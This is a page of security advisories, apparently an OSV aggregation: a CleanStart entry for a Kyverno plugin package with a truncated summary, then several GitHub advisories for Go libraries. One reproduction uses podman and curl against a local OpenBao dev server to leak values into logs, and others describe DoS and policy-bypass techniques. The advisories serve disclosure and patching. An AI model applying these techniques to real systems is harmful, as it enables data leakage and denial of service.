Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the kyverno-policy-reporter-kyverno-plugin-fips package. Cancelling a query (e. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "kyverno-policy-reporter-kyverno-plugin-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2-r4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the kyverno-policy-reporter-kyverno-plugin-fips package. Cancelling a query (e. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-PD17156",
"modified": "2026-01-29T18:58:54Z",
"published": "2026-01-30T15:00:22.872625Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-PD17156.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-47907"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-2464-8j7c-4cjm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-29wx-vh33-7x7r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-2x5j-vhc8-9cwm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-459x-q9hg-4gpq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-4qg8-fj49-pxjh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-4vq8-7jfc-9cvp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-6m8w-jc87-6cr7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-88jx-383q-w4qc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-c5q2-7r4c-mv6g"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-c6gw-w398-hv78"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-c77r-fh37-x2px"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-f83f-xpx7-ffpw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-fv92-fjc5-jj9h"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-jrr2-x33p-6hvc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-mh63-6h87-95cp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-qjvc-p88j-j9rm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-r5p3-955p-5ggq"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47907"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cancelling a query (e",
"upstream": [
"CVE-2025-47907",
"GHSA-2464-8j7c-4cjm",
"GHSA-29wx-vh33-7x7r",
"GHSA-2x5j-vhc8-9cwm",
"GHSA-459x-q9hg-4gpq",
"GHSA-4qg8-fj49-pxjh",
"GHSA-4vq8-7jfc-9cvp",
"GHSA-6m8w-jc87-6cr7",
"GHSA-88jx-383q-w4qc",
"GHSA-c5q2-7r4c-mv6g",
"GHSA-c6gw-w398-hv78",
"GHSA-c77r-fh37-x2px",
"GHSA-f83f-xpx7-ffpw",
"GHSA-fv92-fjc5-jj9h",
"GHSA-jrr2-x33p-6hvc",
"GHSA-mh63-6h87-95cp",
"GHSA-qjvc-p88j-j9rm",
"GHSA-r5p3-955p-5ggq"
]
}
GHSA-2X5J-VHC8-9CWM
Vulnerability from github – Published: 2025-06-10 21:18 – Updated: 2025-10-23 17:36Impact
The CIRCL implementation of FourQ fails to validate user-supplied low-order points during Diffie-Hellman key exchange, potentially allowing attackers to force the identity point and compromise session security.
Moreover, there is an incorrect point validation in ScalarMult can lead to incorrect results in the isEqual function and if a point is on the curve.
Patches
Version 1.6.1 (https://github.com/cloudflare/circl/tree/v1.6.1) mitigates the identified issues.
We acknowledge Alon Livne (Botanica Software Labs) for the reported findings.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudflare/circl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8556"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T21:18:33Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nThe CIRCL implementation of FourQ fails to validate user-supplied low-order points during Diffie-Hellman key exchange, potentially allowing attackers to force the identity point and compromise session security.\n\nMoreover, there is an incorrect point validation in ScalarMult can lead to incorrect results in the isEqual function and if a point is on the curve.\n\n\n### Patches\nVersion 1.6.1 (https://github.com/cloudflare/circl/tree/v1.6.1) mitigates the identified issues.\n\nWe acknowledge Alon Livne (Botanica Software Labs) for the reported findings.",
"id": "GHSA-2x5j-vhc8-9cwm",
"modified": "2025-10-23T17:36:51Z",
"published": "2025-06-10T21:18:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/circl/security/advisories/GHSA-2x5j-vhc8-9cwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8556"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-8556"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2371624"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudflare/circl"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/circl/tree/v1.6.1"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=45669593"
},
{
"type": "WEB",
"url": "https://www.botanica.software/blog/cryptographic-issues-in-cloudflares-circl-fourq-implementation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CIRCL-Fourq: Missing and wrong validation can lead to incorrect results"
}
GHSA-2464-8J7C-4CJM
Vulnerability from github – Published: 2025-08-21 14:37 – Updated: 2026-01-27 21:01Summary
Use of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.
Details
OpenBao (and presumably HashiCorp Vault) have surfaced error messages from mapstructure as follows:
https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50
_, _, err := d.getPrimitive(field, schema)
if err != nil {
return fmt.Errorf("error converting input for field %q: %w", field, err)
}
where this calls mapstructure.WeakDecode(...): https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193
func (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {
raw, ok := d.Raw[k]
if !ok {
return nil, false, nil
}
switch t := schema.Type; t {
case TypeBool:
var result bool
if err := mapstructure.WeakDecode(raw, &result); err != nil {
return nil, false, err
}
return result, true, nil
Notably, WeakDecode(...) eventually calls one of the decode helpers, which surfaces the original value via strconv helpers:
https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L720-L727
https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L791-L798
https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/decode_hooks.go#L180
& more. These are different code paths than are fixed in the previous iteration at https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h.
PoC
To reproduce with OpenBao:
$ podman run --pull=always -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300
and in a new tab:
$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass
Success! Enabled userpass auth method at: userpass/
$ curl -X PUT -H "X-Vault-Request: true" -H "X-Vault-Token: root" -d '{"ttl":"asdf"}' "http://localhost:8200/v1/auth/userpass/users/asdf"
--> server logs:
2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error="error converting input for field \"ttl\": time: invalid duration \"asdf\""
Impact
This is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at '' expected a map, got 'string' -- when the field type is string and a map is provided, we see the above information leak -- the previous example had a map type field with a string value provided).
This was rated 4.5 Medium by HashiCorp in the past iteration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/go-viper/mapstructure/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11065"
],
"database_specific": {
"cwe_ids": [
"CWE-117"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T14:37:19Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUse of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.\n\n### Details\n\nOpenBao (and presumably HashiCorp Vault) have surfaced error messages from `mapstructure` as follows:\n\nhttps://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50\n\n```go\n\t\t\t_, _, err := d.getPrimitive(field, schema)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error converting input for field %q: %w\", field, err)\n\t\t\t}\n```\n\nwhere this calls `mapstructure.WeakDecode(...)`: https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193\n\n```go\n\nfunc (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {\n\traw, ok := d.Raw[k]\n\tif !ok {\n\t\treturn nil, false, nil\n\t}\n\n\tswitch t := schema.Type; t {\n\tcase TypeBool:\n\t\tvar result bool\n\t\tif err := mapstructure.WeakDecode(raw, \u0026result); err != nil {\n\t\t\treturn nil, false, err\n\t\t}\n\t\treturn result, true, nil\n```\n\nNotably, `WeakDecode(...)` eventually calls one of the decode helpers, which surfaces the original value via `strconv` helpers:\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L720-L727\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L791-L798\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/decode_hooks.go#L180\n\n\u0026 more. These are different code paths than are fixed in the previous iteration at https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h.\n\n### PoC\n\nTo reproduce with OpenBao:\n\n```\n$ podman run --pull=always -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300\n```\n\nand in a new tab:\n\n```\n$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass\nSuccess! Enabled userpass auth method at: userpass/\n$ curl -X PUT -H \"X-Vault-Request: true\" -H \"X-Vault-Token: root\" -d \u0027{\"ttl\":\"asdf\"}\u0027 \"http://localhost:8200/v1/auth/userpass/users/asdf\"\n\n--\u003e server logs:\n\n2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error=\"error converting input for field \\\"ttl\\\": time: invalid duration \\\"asdf\\\"\"\n```\n\n### Impact\n\nThis is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at `\u0027\u0027 expected a map, got \u0027string\u0027` -- when the field type is `string` and a `map` is provided, we see the above information leak -- the previous example had a `map` type field with a `string` value provided).\n\nThis was rated 4.5 Medium by HashiCorp in the past iteration.",
"id": "GHSA-2464-8j7c-4cjm",
"modified": "2026-01-27T21:01:22Z",
"published": "2025-08-21T14:37:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-viper/mapstructure/security/advisories/GHSA-2464-8j7c-4cjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11065"
},
{
"type": "WEB",
"url": "https://github.com/go-viper/mapstructure/commit/742921c9ba2854d27baa64272487fc5075d2c39c"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-11065"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391829"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-viper/mapstructure"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3900"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "go-viper\u0027s mapstructure May Leak Sensitive Information in Logs When Processing Malformed Data"
}
GHSA-29WX-VH33-7X7R
Vulnerability from github – Published: 2024-11-04 23:22 – Updated: 2024-11-12 21:32Summary
Unclear documentation of the error behavior in ParseWithClaims can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by ParseWithClaims return both error codes. If users only check for the jwt.ErrTokenExpired using error.Is, they will ignore the embedded jwt.ErrTokenSignatureInvalid and thus potentially accept invalid tokens.
Fix
We have back-ported the error handling logic from the v5 branch to the v4 branch. In this logic, the ParseWithClaims function will immediately return in "dangerous" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.
Workaround
We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors ("dangerous" ones first), so that you are not running in the case detailed above.
token, err := /* jwt.Parse or similar */
if token.Valid {
fmt.Println("You look nice today")
} else if errors.Is(err, jwt.ErrTokenMalformed) {
fmt.Println("That's not even a token")
} else if errors.Is(err, jwt.ErrTokenUnverifiable) {
fmt.Println("We could not verify this token")
} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {
fmt.Println("This token has an invalid signature")
} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {
// Token is either expired or not active yet
fmt.Println("Timing is everything")
} else {
fmt.Println("Couldn't handle this token:", err)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/golang-jwt/jwt/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51744"
],
"database_specific": {
"cwe_ids": [
"CWE-347",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-04T23:22:41Z",
"nvd_published_at": "2024-11-04T22:15:03Z",
"severity": "LOW"
},
"details": "### Summary\n\nUnclear documentation of the error behavior in `ParseWithClaims` can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by `ParseWithClaims` return both error codes. If users only check for the `jwt.ErrTokenExpired ` using `error.Is`, they will ignore the embedded `jwt.ErrTokenSignatureInvalid` and thus potentially accept invalid tokens.\n\n### Fix\n\nWe have back-ported the error handling logic from the `v5` branch to the `v4` branch. In this logic, the `ParseWithClaims` function will immediately return in \"dangerous\" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.\n\n### Workaround \n\nWe are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors (\"dangerous\" ones first), so that you are not running in the case detailed above.\n\n```Go\ntoken, err := /* jwt.Parse or similar */\nif token.Valid {\n\tfmt.Println(\"You look nice today\")\n} else if errors.Is(err, jwt.ErrTokenMalformed) {\n\tfmt.Println(\"That\u0027s not even a token\")\n} else if errors.Is(err, jwt.ErrTokenUnverifiable) {\n\tfmt.Println(\"We could not verify this token\")\n} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {\n\tfmt.Println(\"This token has an invalid signature\")\n} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {\n\t// Token is either expired or not active yet\n\tfmt.Println(\"Timing is everything\")\n} else {\n\tfmt.Println(\"Couldn\u0027t handle this token:\", err)\n}\n```",
"id": "GHSA-29wx-vh33-7x7r",
"modified": "2024-11-12T21:32:34Z",
"published": "2024-11-04T23:22:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-29wx-vh33-7x7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51744"
},
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/commit/7b1c1c00a171c6c79bbdb40e4ce7d197060c1c2c"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang-jwt/jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations"
}
GHSA-4QG8-FJ49-PXJH
Vulnerability from github – Published: 2025-12-05 18:19 – Updated: 2025-12-05 18:19Impact
Excessive memory allocation
Function api.ParseJSONRequest currently splits (via a call to strings.Split) an optionally-provided OID (which is untrusted data) on periods. Similarly, function api.getContentType splits the Content-Type header (which is also untrusted data) on an application string.
As a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed Content-Type header, a call to api.ParseJSONRequest or api.getContentType incurs allocations of O(n) bytes (where n stands for the length of the function's argument). Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Patches
Upgrade to v2.0.3.
Workarounds
There are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/timestamp-authority"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66564"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-05T18:19:00Z",
"nvd_published_at": "2025-12-04T23:15:47Z",
"severity": "HIGH"
},
"details": "### Impact\n\n**Excessive memory allocation**\n\nFunction [api.ParseJSONRequest](https://github.com/sigstore/timestamp-authority/blob/26d7d426d3000abdbdf2df34de56bb92246c0365/pkg/api/timestamp.go#L63) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) an optionally-provided OID (which is untrusted data) on periods. Similarly, function [api.getContentType](https://github.com/sigstore/timestamp-authority/blob/26d7d426d3000abdbdf2df34de56bb92246c0365/pkg/api/timestamp.go#L114) splits the `Content-Type` header (which is also untrusted data) on an `application` string.\n\nAs a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed `Content-Type` header, a call to `api.ParseJSONRequest` or `api.getContentType` incurs allocations of O(n) bytes (where n stands for the length of the function\u0027s argument). Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\n### Patches\n\nUpgrade to v2.0.3.\n\n### Workarounds\n\nThere are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.",
"id": "GHSA-4qg8-fj49-pxjh",
"modified": "2025-12-05T18:19:00Z",
"published": "2025-12-05T18:19:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/timestamp-authority/security/advisories/GHSA-4qg8-fj49-pxjh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66564"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/timestamp-authority/commit/0cae34e197d685a14904e0bad135b89d13b69421"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/timestamp-authority"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sigstore Timestamp Authority allocates excessive memory during request parsing"
}
GHSA-C77R-FH37-X2PX
Vulnerability from github – Published: 2024-08-30 15:31 – Updated: 2024-09-20 22:06A SMB force-authentication vulnerability exists in all versions of OPA for Windows prior to v0.68.0. The vulnerability exists because of improper input validation, allowing a user to pass an arbitrary SMB share instead of a Rego file as an argument to OPA CLI or to one of the OPA Go library’s functions.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.68.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-8260"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T19:47:47Z",
"nvd_published_at": "2024-08-30T13:15:12Z",
"severity": "MODERATE"
},
"details": "A SMB force-authentication vulnerability exists in all versions of OPA for Windows prior to v0.68.0. The vulnerability exists because of improper input validation, allowing a user to pass an arbitrary SMB share instead of a Rego file as an argument to OPA CLI or to one of the OPA Go library\u2019s functions.",
"id": "GHSA-c77r-fh37-x2px",
"modified": "2024-09-20T22:06:08Z",
"published": "2024-08-30T15:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8260"
},
{
"type": "WEB",
"url": "https://github.com/open-policy-agent/opa/commit/10f4d553e6bb6ae9c69611ecdd9a77dda857070e"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-policy-agent/opa"
},
{
"type": "WEB",
"url": "https://github.com/open-policy-agent/opa/releases/tag/v0.68.0"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3141"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2024-36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OPA for Windows has an SMB force-authentication vulnerability"
}
GHSA-C6GW-W398-HV78
Vulnerability from github – Published: 2025-02-24 22:49 – Updated: 2025-02-26 22:16Impact
When parsing compact JWS or JWE input, go-jose could use excessive memory. The code used strings.Split(token, ".") to split JWT tokens, which is vulnerable to excessive memory consumption when processing maliciously crafted tokens with a large number of '.' characters. An attacker could exploit this by sending numerous malformed tokens, leading to memory exhaustion and a Denial of Service.
Patches
Version 4.0.5 fixes this issue
Workarounds
Applications could pre-validate payloads passed to go-jose do not contain an excessive number of '.' characters.
References
This is the same sort of issue as in the golang.org/x/oauth2/jws package as CVE-2025-22868 and Go issue https://go.dev/issue/71490.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27144"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-24T22:49:19Z",
"nvd_published_at": "2025-02-24T23:15:11Z",
"severity": "MODERATE"
},
"details": "### Impact\nWhen parsing compact JWS or JWE input, go-jose could use excessive memory. The code used strings.Split(token, \".\") to split JWT tokens, which is vulnerable to excessive memory consumption when processing maliciously crafted tokens with a large number of \u0027.\u0027 characters. An attacker could exploit this by sending numerous malformed tokens, leading to memory exhaustion and a Denial of Service.\n\n### Patches\nVersion 4.0.5 fixes this issue\n\n### Workarounds\nApplications could pre-validate payloads passed to go-jose do not contain an excessive number of \u0027.\u0027 characters.\n\n### References\nThis is the same sort of issue as in the golang.org/x/oauth2/jws package as CVE-2025-22868 and Go issue https://go.dev/issue/71490.",
"id": "GHSA-c6gw-w398-hv78",
"modified": "2025-02-26T22:16:36Z",
"published": "2025-02-24T22:49:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-c6gw-w398-hv78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27144"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/issues/71490"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/99b346cec4e86d102284642c5dcbe9bb0cacfc22"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/releases/tag/v4.0.5"
},
{
"type": "WEB",
"url": "https://go.dev/issue/71490"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DoS in go-jose Parsing"
}
GHSA-JRR2-X33P-6HVC
Vulnerability from github – Published: 2025-04-29 16:39 – Updated: 2025-05-05 21:59Summary
Due to a missing error propagation in function GetNamespaceSelectorsFromNamespaceLister in pkg/utils/engine/labels.go it may happen that policy rules using namespace selector(s) in their match statements are mistakenly not applied during admission review request processing. As a consequence, security-critical mutations and validations are bypassed, potentially allowing attackers with K8s API access to perform malicious operations.
Details
As a policy engine Kyverno is a critical component ensuring the security of Kubernetes clusters by apply security-relevant policy rules in the Kubernetes admission control process.
We encountered a case where Kyverno did not apply policy rules which should have been applied. This happened in both the mutation and the validation phase of admission control. Effectively Kyverno handled the admission review requests as if those policy rules did not exist. Consequently, the Kube API request was accepted without applying security-relevant patches and validations.
As the root cause we identified a missing error propagation in function GetNamespaceSelectorsFromNamespaceLister in pkg/utils/engine/labels.go (src).
All affected policy rules use a namespace selector in their match resource filters like this:
match:
all:
- resources:
namespaceSelector:
matchExpressions:
- key: label1
operator: Exists
Such specification intents to apply rules only to resource objects which reside in a namespace whose labels match the given label expressions.
When Kyverno handles an admission webhook, function GetNamespaceSelectorsFromNamespaceLister in package
github.com/kyverno/kyverno/pkg/utils/engine (src) is called to retrieve the labels of the request object's namespace. This function gets the namespace object from a "k8s.io/client-go/listers/core/v1".NamespaceLister. In case the
namespace lister returns an error, GetNamespaceSelectorsFromNamespaceLister does NOT propagate this error to its caller, but returns an empty label map, which is equivalent to a namespace without any labels.
The returned label map is later used to select matching policy rules. If a rule has a resource filter with namespace selector, it will be mistakenly excluded or included.
The namespace lister fails to return the namespace object if the underlying SharedIndexInformer has not (yet) updated its cache. Those updates happen based on watch events from the Kube API Server, which does not guarantee any maximum delivery time. If the Kube API Server handling the watch is under high load or otherwise impaired (e.g. requests to etcd take longer due to pending leader election in HA setup) then informer cache updates can be delayed significantly. However, we did not find a way to reliably reproduce such condition.
To bypass Kyverno policies, an attacker may try to exploit the described misbehavior by:
-
putting the Kube API Server under load before sending requests that Kyverno policies should be bypassed for.
-
sending many request with a high rate to Kube API Server.
We did not try any of such attack vectors and therefore cannot prove their effectiveness.
In our scenario the Kyverno policies apply to pods in "sandbox" namespaces identified as such by certain labels. Those single-use namespaces and the pods therein are frequently created (and removed) by other controllers. Therefore, Kyverno often receives admission webhooks for objects whose namespace has been created shortly before.
Correction Proposal
Function GetNamespaceSelectorsFromNamespaceLister in package github.com/kyverno/kyverno/pkg/utils/engine (src) should return an error instead of an empty label map in case it could not get the namespace object from the namespace lister. This error will then cause admission webhook processing to fail, which lets Kubernetes fail the Kube API request if the policy's failure policy is Fail (a must for security-relevant policies).
In addition, function GetNamespaceSelectorsFromNamespaceLister could retry (with deadline) to get the namespace object from the namespace lister in case of a NotFound error. But as admission webhook processing time should be kept as short as possible, this might not be a good idea.
Another option would be to perform a GET request for the namespace as a fallback in case the namespace lister returns a NotFound error.
PoC
We did not find a way to reliably reproduce such case.
Impact
Administrators attempting to enforce cluster security through Kyverno policies, but that allow less privileged users or service accounts to create/update/delete resources.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.5"
}
],
